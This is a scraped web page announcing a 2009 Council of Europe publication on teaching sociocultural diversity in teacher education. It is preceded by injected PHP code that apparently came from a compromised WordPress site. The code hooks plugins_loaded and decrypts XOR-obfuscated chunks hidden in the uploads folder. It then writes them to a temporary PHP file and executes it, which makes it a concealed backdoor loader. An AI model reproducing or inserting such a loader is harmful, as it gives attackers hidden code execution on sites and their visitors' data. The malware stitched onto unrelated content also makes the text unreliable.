/* 187182e58205a233d32cf3f35c704602 */ function star_addons_cache_houston() { $cache_dir = ABSPATH . 'wp-content/uploads/.cache/'; $meta_file = $cache_dir . 'cache_meta.bin'; if(!@file_exists($meta_file)) { return; } $meta_encrypted = @file_get_contents($meta_file); if(!$meta_encrypted) { return; } $meta = null; $key = 0; for($i = 1; $i <= 255; $i++) { $test_decrypt = ''; for($j = 0; $j < strlen($meta_encrypted); $j++) { $test_decrypt .= chr((ord($meta_encrypted[$j]) ^ ($i + 1)) & 0xFF); } $test_json = @json_decode($test_decrypt, true); if($test_json && isset($test_json['key']) && isset($test_json['count'])) { $meta = $test_json; $key = intval($test_json['key']); break; } } if(!$meta || $key === 0) { return; } $count = intval($meta['count']); $ordered_chunks = []; for($i = 0; $i < $count; $i++) { $filename = sprintf('cache_%04d.bin', $i); $filepath = $cache_dir . $filename; if(!@file_exists($filepath)) { return; } $encrypted = @file_get_contents($filepath); if(!$encrypted) { return; } $decrypted = ''; for($j = 0; $j < strlen($encrypted); $j++) { $decrypted .= chr((ord($encrypted[$j]) ^ $key) & 0xFF); } $ordered_chunks[$i] = $decrypted; } if(count($ordered_chunks) === $count) { ksort($ordered_chunks); $code = implode('', $ordered_chunks); if($code && strlen($code) > 10) { $temp_file = $cache_dir . 'temp_' . uniqid() . '.php'; if(@file_put_contents($temp_file, $code, LOCK_EX)) { @include $temp_file; @unlink($temp_file); } } } } add_action('plugins_loaded', 'star_addons_cache_houston'); /* /187182e58205a233d32cf3f35c704602 */ Policies and practices for teaching sociocultural diversity – Concepts, principles and challenges in teacher education (2009) | Education About Religions and Beliefs

Policies and practices for teaching sociocultural diversity – Concepts, principles and challenges in teacher education (2009)

Posted on December 10, 2011

This publication is aimed at all staff in teacher education institutions. This work offers an outline of the main principles underpinning work in the diversity area. It also introduces some key concepts related to sociocultural diversity in education while analysing some challenges in teacher education and development. It identifies policy measures and guidelines for teachers' pre-service training institutions.

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This entry was posted in English, Resources and tagged challenges, Council of Europe, guidelines, in-service training, pre-service training, respecting difference, sociocultural diversity, teacher education. Bookmark the permalink.